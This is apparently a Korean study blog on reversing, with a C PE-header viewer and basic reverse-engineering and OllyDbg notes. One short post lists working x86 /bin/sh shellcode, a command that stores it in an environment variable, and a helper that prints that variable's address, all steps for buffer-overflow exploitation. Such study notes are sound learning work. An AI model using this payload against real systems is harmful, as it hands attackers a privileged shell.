검색결과 리스트
글
peview 만들기
C언어를 이용해 PE viewer를 구현해보았다.
fseek 함수를 이용해 파일 위치지정자를 조정해 파일의 특정 위치를 읽어오는 방법으로 점점 아랫쪽주소로 내려갔다.
줄맞추기 노가다에 시간을 더 쏟은것 같기도 하다..
제일 어려웠던 부분은 파일 입출력 부분.
#include
#include int main() { FILE *fp; char str[100]={0,}; char name[100][100]={0,}; int num[100]; char fn[1000]; int t,d; printf("type file name : "); scanf("%s", fn); fp=fopen(fn,"rt"); //파일경로에 공백 x if(fp==NULL){ printf("error!\n"); } //fprintf(fp,"Hello world\n"); fseek(fp,0,SEEK_SET); fread(str,2,1,fp); printf("\tName\t\t\tData\t value \n"); printf("Dod_Header_Signature : "); printf(" \t%x%x\t %s\n",*(str+1),*str,str); printf("\n"); fseek(fp,60,SEEK_SET); fread(num,4,1,fp); printf("\te_flanew :"); printf("\t\t%.8x \n", *num); printf("\n"); t=*num; fseek(fp,t,SEEK_SET); fread(num,4,1,fp); printf("NT_Header_Signature :"); printf("\t\t%.8x \n", *num); printf("\n"); fseek(fp,t+4,SEEK_SET); fread(num,2,1,fp); printf("\tmachine\t :"); printf("\t\t%.8x \n", *num); printf("\n"); fread(num,2,1,fp); printf("Number of Sections :"); printf("\t\t%.8x \n", *num); printf("\n"); fseek(fp,t+20,SEEK_SET); fread(num,2,1,fp); printf("Size Of Optional Header:"); printf("\t%.8x \n", *num); printf("\n"); fread(num,2,1,fp); printf("Characteristics\t :\t"); printf("\t%.8x \n", *num); printf("\n"); t=t+40; fread(num,2,1,fp); printf("Magic \t\t\t:"); printf("\t%.8x \n", *num); printf("\n"); fseek(fp,t,SEEK_SET); fread(num,4,1,fp); printf("Address of Entry Point :"); printf("\t%.8x \n", *num); printf("\n"); fseek(fp,t+12,SEEK_SET); fread(num,4,1,fp); printf("Image Base\t\t :"); printf("\t%.8x \n", *num); printf("\n"); fread(num,4,1,fp); printf("Section Alignment\t :"); printf("\t%.8x \n", *num); printf("\n"); fread(num,4,1,fp); printf("File Alignment\t\t :"); printf("\t%.8x \n", *num); printf("\n"); t=t+40; fseek(fp,t,SEEK_SET); fread(num,4,1,fp); //130 printf("Size of Image\t\t :"); printf("\t%.8x \n", *num); printf("\n"); fread(num,4,1,fp); printf("Size of Headers\t\t :"); printf("\t%.8x \n", *num); printf("\n"); fseek(fp,t+12,SEEK_SET); fread(num,2,1,fp); printf("Sybsystem\t\t :"); printf("\t%.8x \n", *num); printf("\n"); t=t+36; //154 fseek(fp,t,SEEK_SET); fread(num,4,1,fp); printf("Number of Data Directories :"); printf("\t%.8x \n", *num); printf("\n"); t=0; strcpy(name[t],"EXPORT Table\t\t"),t++; strcpy(name[t],"IMPORT Table\t\t"),t++; strcpy(name[t],"RESOURCE Table\t\t"),t++; strcpy(name[t],"EXCEPTION Table\t\t"),t++; strcpy(name[t],"CERTIFICATE Table\t"),t++; strcpy(name[t],"BASE RELOCATION Table\t"),t++; strcpy(name[t],"DEBUG Directory\t\t"),t++; strcpy(name[t],"Architecture Specific Data"),t++; strcpy(name[t],"GLOBAL POINTER Register"),t++; strcpy(name[t],"TLS Table\t\t"),t++; strcpy(name[t],"LOAD CONFIGURATION Table"),t++; strcpy(name[t],"BOUND IMPORT Table \t"),t++; strcpy(name[t],"IMPORT Address Table\t"),t++; strcpy(name[t],"DELAY IMPORT Descriptors"),t++; strcpy(name[t],"CLI Header\t\t"),t++; strcpy(name[t],"\t\t\t"),t++; for(d=(*num),t=0;d!=0;d--,t++) { printf("\n"); fread(num,4,1,fp); printf("%s :",name[t]); printf("\t%.8x \n", *num); fread(num,4,1,fp); printf("\t\t\t\t%.8x \n", *num); } // fclose(fp); return 0; }
'Reversing' 카테고리의 다른 글
리버스 엔지니어링 07-14 (0) | 2014.07.14 |
---|
설정
트랙백
댓글
글
몇몇 필수 코드
1.bin/sh 쉘코드
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0\x0b\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xf6\x56\x53\x89\xe1\x31\xd2\xcd\x80
2. 환경변수에 쉘코드 등록
export shell=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0\x0b\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xf6\x56\x53\x89\xe1\x31\xd2\xcd\x80"'`
3.환경변수의 주소값 가져오기
#include<stdio.h> int main(int argc,char *argv[]) { printf("%x\n",getenv(argv[1])); return 0; } |
설정
트랙백
댓글
글
리버스 엔지니어링 07-14
리버스 엔지니어링이란 ?
'역공학' 이라고도 하며 장치 또는 시스템의 기술적 원리를 그 구조 분석을 통해 발견하는 과정
정적 분석
프로그램을 실행시키지 않고 코드값만을 보고 분석하는 방법
동적 분석
프로그램을 실행하는 도중 프로그램의 입력값이나 변화값을 실시간으로 적용, 실행해나가면서 분석하는 방법
소스코드로 프로그램을 작성 -> 빌드과정에서 이진수로 값이 변화, 16진수 값으로 사용자가 보기 쉽게 바꿔서 출력(hexcode) -> 프로그램의 적용 과정을 사용자가 더 쉽게 이해 가능하도록 어셈블리코드로 바꿔서 출력
패치
기존에 있는 프로그램을 수정하는 작업
크랙
기존에 있는 프로그램을 악의적으로 수정하는 작업 (악의적 패치)
디버깅
버그를 잡는 작업
디버거
디버깅을 하는 프로그램 (ex. ollydebug)
올리 디버거 명령어
restart - 컨트롤+f2 :재시작
step into - f7 :
step over - f8
etr - : 리턴까지 실행
f2 : 브레이크 포인터
f9 : 실행
go to :
'Reversing' 카테고리의 다른 글
peview 만들기 (0) | 2014.07.25 |
---|
RECENT COMMENT